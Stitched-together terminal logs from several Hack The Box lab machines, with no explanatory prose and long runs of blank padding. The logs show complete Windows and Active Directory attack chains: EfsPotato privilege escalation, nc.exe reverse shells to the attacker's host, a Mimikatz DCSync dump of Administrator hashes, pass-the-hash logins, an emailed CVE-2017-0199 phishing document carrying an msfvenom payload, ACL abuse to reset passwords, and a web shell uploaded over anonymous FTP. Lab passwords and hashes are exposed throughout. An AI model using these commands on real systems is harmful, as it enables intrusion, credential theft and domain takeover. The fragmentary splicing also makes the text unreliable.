SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledPS C:\ProgramData> systeminfo
Host Name: DC01
OS Name: Microsoft Windows Server 2022 Standard
OS Version: 10.0.20348 N/A Build 20348
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00454-20165-01481-AA286
Original Install Date: 3/4/2025, 11:00:20 PM
System Boot Time: 3/30/2025, 12:04:22 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
[02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: VMware, Inc. VMW71.00V.24224532.B64.2408191458, 8/19/2024
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,100 MB
Virtual Memory: Max Size: 5,503 MB
Virtual Memory: Available: 3,224 MB
Virtual Memory: In Use: 2,279 MB
Page File Location(s): C:\pagefile.sys
Domain: haze.htb
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.140.67
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.PS C:\ProgramData> dir C:\Windows\Microsoft.Net\Framework\
Directory: C:\Windows\Microsoft.Net\Framework
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:34 AM v1.0.3705
d----- 5/8/2021 1:34 AM v1.1.4322
d----- 5/8/2021 1:20 AM v2.0.50727
d----- 3/30/2025 12:14 AM v4.0.30319 ❯ ls -l EfsPotato.cs
.rw-rw-r-- gzzcoo gzzcoo 25 KB Sun Mar 30 12:54:37 2025 EfsPotato.cs
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\ProgramData> IWR -Uri http://10.10.16.5/EfsPotato.cs -OutFile C:\ProgramData\EfsPotato.cs
PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/4/2025 10:59 PM Microsoft
d----- 3/4/2025 11:01 PM Package Cache
d----- 3/25/2025 2:24 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 3/4/2025 11:29 PM Splunk Enterprise
d----- 5/8/2021 2:36 AM ssh
d----- 3/4/2025 11:02 PM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 3/4/2025 11:01 PM VMware
-a---- 3/30/2025 4:04 AM 25441 EfsPotato.cs
-a---- 3/30/2025 3:13 AM 770279 PowerView.ps1 PS C:\ProgramData> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/4/2025 10:59 PM Microsoft
d----- 3/4/2025 11:01 PM Package Cache
d----- 3/25/2025 2:24 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 3/4/2025 11:29 PM Splunk Enterprise
d----- 5/8/2021 2:36 AM ssh
d----- 3/4/2025 11:02 PM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 3/4/2025 11:01 PM VMware
-a---- 3/30/2025 4:04 AM 25441 EfsPotato.cs
-a---- 3/30/2025 4:04 AM 17920 EfsPotato.exe
-a---- 3/30/2025 3:13 AM 770279 PowerView.ps1 ❯ ls -l nc.exe
.rwxr-xr-x gzzcoo gzzcoo 28 KB Sun Mar 30 12:58:00 2025 nc.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\ProgramData> IWR -Uri http://10.10.16.5/nc.exe -OutFile C:\ProgramData\nc.exe
PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/4/2025 10:59 PM Microsoft
d----- 3/4/2025 11:01 PM Package Cache
d----- 3/25/2025 2:24 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 3/4/2025 11:29 PM Splunk Enterprise
d----- 5/8/2021 2:36 AM ssh
d----- 3/4/2025 11:02 PM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 3/4/2025 11:01 PM VMware
-a---- 3/30/2025 4:04 AM 25441 EfsPotato.cs
-a---- 3/30/2025 4:04 AM 17920 EfsPotato.exe
-a---- 3/30/2025 4:05 AM 28160 nc.exe
-a---- 3/30/2025 3:13 AM 770279 PowerView.ps1 ❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...PS C:\ProgramData> .\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.5 444"❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.140.67] 61967
Microsoft Windows [Version 10.0.20348.3328]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData>whoami
whoami
nt authority\system
C:\ProgramData>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
644a3***************************❯ ls -l Mimikatz.exe
.rw-r--r-- gzzcoo gzzcoo 1.2 MB Sun Mar 30 13:06:37 2025 Mimikatz.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...C:\ProgramData>certutil.exe -f -urlcache -split http://10.10.16.5/Mimikatz.exe Mimikatz.exe
certutil.exe -f -urlcache -split http://10.10.16.5/Mimikatz.exe Mimikatz.exe
**** Online ****
000000 ...
131308
CertUtil: -URLCache command completed successfully.C:\ProgramData>mimikatz.exe "lsadump::dcsync /user:CN=Administrator,CN=Users,DC=haze,DC=htb" exit
mimikatz.exe "lsadump::dcsync /user:CN=Administrator,CN=Users,DC=haze,DC=htb" exit
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /user:CN=Administrator,CN=Users,DC=haze,DC=htb
[DC] 'haze.htb' will be the domain
[DC] 'dc01.haze.htb' will be the DC server
[DC] 'CN=Administrator,CN=Users,DC=haze,DC=htb' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 3/20/2025 2:34:49 PM
Object Security ID : S-1-5-21-323145914-28650650-2368316563-500
Object Relative ID : 500
Credentials:
Hash NTLM: 06dc954d32cb91ac2831d67e3e12027f
ntlm- 0: 06dc954d32cb91ac2831d67e3e12027f
ntlm- 1: 060222100e2edc0a5e173b4027d0d7ae
lm - 0: 7a67f9a840029ea3ee20148e0751b022
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : dd9a6ee34b3addab4597d0b2c17c08ac
* Primary:Kerberos-Newer-Keys *
Default Salt : HAZE.HTBAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 71cf24a70eb73f9c3605c44d71e3e7dab2589557edaa9675c550bdcd93232151
aes128_hmac (4096) : ec1358e4aec023c2545b3ad3bcc963b1
des_cbc_md5 (4096) : 6b0b2f2c381fabc2
OldCredentials
aes256_hmac (4096) : 76933cd6fe123ee3fe6c8c69b37ef2259401a94996ae7356be4d7fb79715b8fa
aes128_hmac (4096) : 4f11a5bfac249acf60a6d4363925b194
des_cbc_md5 (4096) : e53e85850d4c5b58
* Primary:Kerberos *
Default Salt : HAZE.HTBAdministrator
Credentials
des_cbc_md5 : 6b0b2f2c381fabc2
OldCredentials
des_cbc_md5 : e53e85850d4c5b58
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 bc48a3645c509b3761176cae261479cb
02 33d377c6a6d9e67f26344d5f3d63a551
03 49dbf5a5d3e618c68c9c1f75a98495f5
04 bc48a3645c509b3761176cae261479cb
05 e1b0e37561087515c63d084649957175
06 ae553f3b5379414726b0e8329a8aa9fc
07 f3c377c63a650b5d019108d3b32903fb
08 8ee87b3959c7a20d1bc18df797d403c1
09 eed3388c0b70b11ccf2e52324df2957d
10 ec6369e3ece1d68cc7ee81f03f792065
11 bc3aa9d4c0f0bdc0e446efb3b26643fb
12 8ee87b3959c7a20d1bc18df797d403c1
13 ffd0a404878f6da4b5f78fd24af23dd1
14 ef4357148ea86ccffd7c0ad7b1ce658d
15 45dc4e151ae1fd9ca4c3ad46253538cb
16 364c2a3fb2b5141437e6addde87ae864
17 d4349c01aabd35e91b635115b9144194
18 7ceaadf391f42fb5ad64fe0ca216e2e4
19 d0187681f4c45dae0f805549d4dc88d2
20 5c20dcdd2846bbab68ede81317fc941c
21 c87db3645c296b58c25018eb357ece2d
22 49f79b90f676ba5523921a7fbfd58fcb
23 27f789bb23519e88e114b4b141aa9d36
24 e8d86cf3ca69608b1841f1b854ca1d6d
25 7d57abccfefe0c58e7cbe5040fae6dc2
26 ba723cd69f9b038601abe0adfd7608da
27 46c1e3ff3a798872818b98489cb0e5b2
28 02cd8f11ddac1f8f4dd3d7cf6464b145
29 79cd377a3d4a806e0bd9e4f278d7a7ad
mimikatz(commandline) # exit
Bye!❯ nxc winrm $IP -u 'Administrator' -H '06dc954d32cb91ac2831d67e3e12027f'
WINRM 10.129.140.67 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.140.67 5985 DC01 [+] haze.htb\Administrator:06dc954d32cb91ac2831d67e3e12027f (Pwn3d!)
❯ evil-winrm -i $IP -u 'Administrator' -H '06dc954d32cb91ac2831d67e3e12027f'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
644a****************************nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.129 -oG allPortsnmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,8172,9389,49667,49675,49676,49699,49712,49736 10.10.11.129 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80nxc smb 10.10.11.129
ldapsearch -x -H ldap://10.10.11.129 -s base | grep defaultNamingContextcatnp /etc/hosts | grep search.htbwhatweb http://search.htbcatnp users.txt
username-anarchy --input-file users.txt --select-format first,last,flast,first.last,firstl > generated-unames.txt
catnp generated-unames.txtnxc smb 10.10.11.129 -u generated-unames.txt -p 'IsolationIsKey?' --continue-on-successrpcenum -e All -i 10.10.11.129 -u 'hope.sharp' -p 'IsolationIsKey?'catnp users.txt | sort -u | wc -l
impacket-GetNPUsers -no-pass -usersfile users.txt search.htb/ 2>/dev/nullldapdomaindump -u 'search.htb\Hope.Sharp' -p 'IsolationIsKey?' 10.10.11.129 -o ldapbloodhound-python -c all -u 'hope.sharp' -p 'IsolationIsKey?' -d search.htb -ns 10.10.11.129impacket-GetUserSPNs -dc-ip 10.10.11.129 search.htb/hope.sharp -request 2>/dev/nulljohn --wordlist=/usr/share/wordlists/rockyou.txt hashesnxc smb 10.10.11.129 -u 'web_svc' -p '@3ONEmillionbaby'nxc smb 10.10.11.129 -u users.txt -p '@3ONEmillionbaby' --continue-on-successcatnp credentials.txtnetexec smb 10.10.11.129 -u 'Edgar.Jacobs' -p '@3ONEmillionbaby' -M spider_plus
catnp /tmp/nxc_hosted/nxc_spider_plus/10.10.11.129.json | jqsmbmap -H 10.10.11.129 --no-banner -u 'Edgar.Jacobs' -p '@3ONEmillionbaby' --download 'RedirectedFolders$/edgar.jacobs/Desktop/Phishing_Attempt.xlsx'
mv 10.10.11.129-RedirectedFolders_edgar.jacobs_Desktop_Phishing_Attempt.xlsx Phishing_Attempt.xlsx
ls -l Phishing_Attempt.xlsxunzip Phishing_Attempt.xlsx
treecat sheet2.xml
nvim sheet2.xmlls
rm Phishing_Attempt.xlsx
zip Document.xlsx -r .
ls -l Document.xlsxnxc smb 10.10.11.129 -u phishing_users.txt -p passwords.txt --no-bruteforce --continue-on-successsmbmap -H 10.10.11.129 --no-banner -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -r 'RedirectedFolders$/Sierra.Frye'
smbmap -H 10.10.11.129 --no-banner -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' --download 'RedirectedFolders$/Sierra.Frye/user.txt'
mv 10.10.11.129-RedirectedFolders_Sierra.Frye_user.txt user.txt
catnp user.txtsmbmap -H 10.10.11.129 --no-banner -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -r 'RedirectedFolders$/Sierra.Frye/Downloads'
smbmap -H 10.10.11.129 --no-banner -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -r 'RedirectedFolders$/Sierra.Frye/Downloads/Backups'smbmap -H 10.10.11.129 --no-banner -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' --download 'RedirectedFolders$/Sierra.Frye/Downloads/Backups/search-RESEARCH-CA.p12'
smbmap -H 10.10.11.129 --no-banner -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' --download 'RedirectedFolders$/Sierra.Frye/Downloads/Backups/staff.pfx'
mv 10.10.11.129-RedirectedFolders_Sierra.Frye_Downloads_Backups_search-RESEARCH-CA.p12 search-RESEARCH-CA.p12
mv 10.10.11.129-RedirectedFolders_Sierra.Frye_Downloads_Backups_staff.pfx staff.pfxpfx2john search-RESEARCH-CA.p12 > hash.txt
pfx2john staff.pfx > hash2.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txtwfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://search.htb/FUZZpython3 /opt/gMSADumper/gMSADumper.py -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -l 10.10.11.129 -d 'search.htb'
netexec smb 10.10.11.129 -u 'BIR-ADFS-GMSA$' -H 'e1e9fd9e46d0d747e1595167eedcec0fpth-net rpc password "TRISTAN.DAVIES" "Gzzcoo123" -U "search.htb"/'BIR-ADFS-GMSA$'%"ffffffffffffffffffffffffffffffff":"e1e9fd9e46d0d747e1595167eedcec0f" -S 10.10.11.129
netexec smb 10.10.11.129 -u 'Tristan.Davies' -p 'Gzzcoo123'wmiexec.py search.htb/Tristan.Davies@10.10.11.129❯ export IP=10.10.11.78
❯ iRecon $IPnmap -sCV -p53,88,135,139,389,445,464,593,636,1337,1433,3268,3269,5722,8080,9389,47001,49152,49153,49154,49155,49157,49158,49161,49166,49168,50255 10.10.10.52 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80netexec smb 10.10.10.52
ldapsearch -x -H ldap://10.10.10.52 -s base | grep defaultNamingContextcatnp /etc/hosts | grep mantis.htb.localkerbrute userenum --dc 10.10.10.52 -d htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtcatnp targeted -l java | grep http | grep tcpgobuster dir -u http://10.10.10.52:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50echo 'NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx' | base64 -d; echo
echo '6d2424716c5f53405f504073735730726421' | xxd -r -p; echomssqlclient.py htb.local/admin@10.10.10.52 2>/dev/nullnetexec smb 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!'netexec smb 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!' --sharesrpcenum -e DUsers -i 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!'catnp users.txt
impacket-GetNPUsers -no-pass -usersfile users.txt htb.local/ 2>/dev/nulimpacket-GetUserSPNs -dc-ip 10.10.10.52 htb.local/james -request 2>/dev/nullbloodhound-python -c All -ns 10.10.10.52 -u 'james' -p 'J@m3s_P@ssW0rd!' -d htb.local --zipcatnp /etc/hosts | grep mantis.htb.localimpacket-goldenPac htb.local/james@10.10.10.52 2>/dev/null
impacket-goldenPac htb.local/james@mantis 2>/dev/nullnmap -sCV -p21,22,25,135,139,445,593,49159 10.10.10.77 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80nxc smb 10.10.10.77
catnp /etc/hosts | grep reelftp 10.10.10.77
dir
cd documents
dir
prompt
mget *exiftool Windows\ Event\ Forwarding.docxgit clone https://github.com/bhdresh/CVE-2017-0199 && cd CVE-2017-0199
python2.7 cve-2017-0199_toolkit.py -hmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=443 -f hta-psh -o pawned.htapython2.7 cve-2017-0199_toolkit.py -M gen -w pawned.rtf -u http://10.10.16.5/pawned.hta -t rtf -x 0python3 -m http.server 80
rlwrap -cAr nc -nlvp 443
sendEmail -f gzzcoo@htb.local -t nico@megabank.com -u "IMPORTANT" -m "I'll send you the report you asked for, thanks." -a pawned.rtf -s 10.10.10.77 -vdir
type cred.xml$cred = Import-Clixml -Path "C:\Users\nico\Desktop\cred.xml"
$plainPassword = $cred.GetNetworkCredential().Password
Write-Output $plainPasswordssh Tom@10.10.10.77smbserver.py smbFolder $(pwd) -smb2support
copy acls.csv \\10.10.16.5\smbFolder\acls.csv. .\PowerView.ps1Set-DomainObjectOwner -identity claire -OwnerIdentity tom
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
$cred = ConvertTo-SecureString "Password01!" -AsPlainText -Force
Set-DomainUserPassword -Identity claire -AccountPassword $cred ssh Claire@10.10.10.77net group "Backup_Admins" claire /add /domain
net group "Backup_Admins"ssh Administrator@10.10.10.77





















































































































































































































































































































































































































































































































































































































































































































































































































































































❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.5 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 22:45 CET
Initiating SYN Stealth Scan at 22:45
Scanning 10.10.10.5 [65535 ports]
Discovered open port 21/tcp on 10.10.10.5
Discovered open port 80/tcp on 10.10.10.5
SYN Stealth Scan Timing: About 23.88% done; ETC: 22:47 (0:01:39 remaining)
SYN Stealth Scan Timing: About 47.17% done; ETC: 22:47 (0:01:08 remaining)
SYN Stealth Scan Timing: About 71.33% done; ETC: 22:47 (0:00:37 remaining)
Completed SYN Stealth Scan at 22:47, 128.65s elapsed (65535 total ports)
Nmap scan report for 10.10.10.5
Host is up, received user-set (0.062s latency).
Scanned at 2025-02-20 22:45:12 CET for 128s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 128.77 seconds
Raw packets sent: 131166 (5.771MB) | Rcvd: 148 (8.672KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.5
[*] Open ports: 21,80
[*] Ports copied to clipboard❯ nmap -sCV -p21,80 10.10.10.5 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 22:50 CET
Nmap scan report for 10.10.10.5
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS7
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|Vista|Phone|2012|8.1 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Server 2008 R2 or Windows 7 SP1 (92%), Microsoft Windows Vista or Windows 7 (92%), Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 133.01 ms 10.10.16.1
2 184.55 ms 10.10.10.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.51 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ curl -I http://10.10.10.5
HTTP/1.1 200 OK
Content-Length: 689
Content-Type: text/html
Last-Modified: Fri, 17 Mar 2017 14:37:30 GMT
Accept-Ranges: bytes
ETag: "37b5ed12c9fd21:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 20 Feb 2025 16:51:23 GMT
❯ whatweb http://10.10.10.5
http://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]❯ feroxbuster -u http://10.10.10.5/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.5/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 2l 10w 155c http://10.10.10.5/aspnet_client => http://10.10.10.5/aspnet_client/
200 GET 0l 0w 184946c http://10.10.10.5/welcome.png
200 GET 32l 53w 689c http://10.10.10.5/❯ nxc ftp 10.10.10.5 -u 'anonymous' -p ''
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!❯ nxc ftp 10.10.10.5 -u 'anonymous' -p '' --ls
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!
FTP 10.10.10.5 21 10.10.10.5 [*] Directory Listing
FTP 10.10.10.5 21 10.10.10.5 03-18-17 01:06AM <DIR> aspnet_client
FTP 10.10.10.5 21 10.10.10.5 03-17-17 04:37PM 689 iisstart.htm
FTP 10.10.10.5 21 10.10.10.5 03-17-17 04:37PM 184946 welcome.png❯ nxc ftp 10.10.10.5 -u 'anonymous' -p '' --ls aspnet_client
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!
FTP 10.10.10.5 21 10.10.10.5 [*] Directory Listing for aspnet_client
FTP 10.10.10.5 21 10.10.10.5 03-18-17 01:06AM <DIR> system_web
❯ nxc ftp 10.10.10.5 -u 'anonymous' -p '' --ls aspnet_client/system_web
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!
FTP 10.10.10.5 21 10.10.10.5 [*] Directory Listing for aspnet_client/system_web
FTP 10.10.10.5 21 10.10.10.5 03-18-17 01:06AM <DIR> 2_0_50727
❯ nxc ftp 10.10.10.5 -u 'anonymous' -p '' --ls aspnet_client/system_web/2_0_50727
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!
FTP 10.10.10.5 21 10.10.10.5 [*] Directory Listing for aspnet_client/system_web/2_0_50727❯ nxc ftp 10.10.10.5 -u 'anonymous' -p '' --get iisstart.htm
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!
FTP 10.10.10.5 21 10.10.10.5 [+] Downloaded: iisstart.htm<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
<!--
body {
color:#000000;
background-color:#B3B3B3;
margin:0;
}
#container {
margin-left:auto;
margin-right:auto;
text-align:center;
}
a img {
border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
</body>
</html>❯ locate cmd.aspx
/usr/share/davtest/backdoors/aspx_cmd.aspx
/usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx
❯ cp /usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx .❯ nxc ftp 10.10.10.5 -u 'anonymous' -p '' --put cmd.aspx cmd.aspx
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!
FTP 10.10.10.5 21 10.10.10.5 [+] Uploaded: cmd.aspx to cmd.aspx❯ nxc ftp 10.10.10.5 -u 'anonymous' -p '' --ls
FTP 10.10.10.5 21 10.10.10.5 [*] Banner: Microsoft FTP Service
FTP 10.10.10.5 21 10.10.10.5 [+] anonymous: - Anonymous Login!
FTP 10.10.10.5 21 10.10.10.5 [*] Directory Listing
FTP 10.10.10.5 21 10.10.10.5 03-18-17 01:06AM <DIR> aspnet_client
FTP 10.10.10.5 21 10.10.10.5 02-20-25 07:03PM 1400 cmd.aspx
FTP 10.10.10.5 21 10.10.10.5 03-17-17 04:37PM 689 iisstart.htm
FTP 10.10.10.5 21 10.10.10.5 03-17-17 04:37PM 184946 welcome.png❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ ls -l nc.exe
.rwxr-xr-x kali kali 28 KB Thu Feb 20 23:09:09 2025 nc.exe
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed\\10.10.16.3\smbFolder\nc.exe -e cmd 10.10.16.3 443❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.5] 49167
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\webc:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
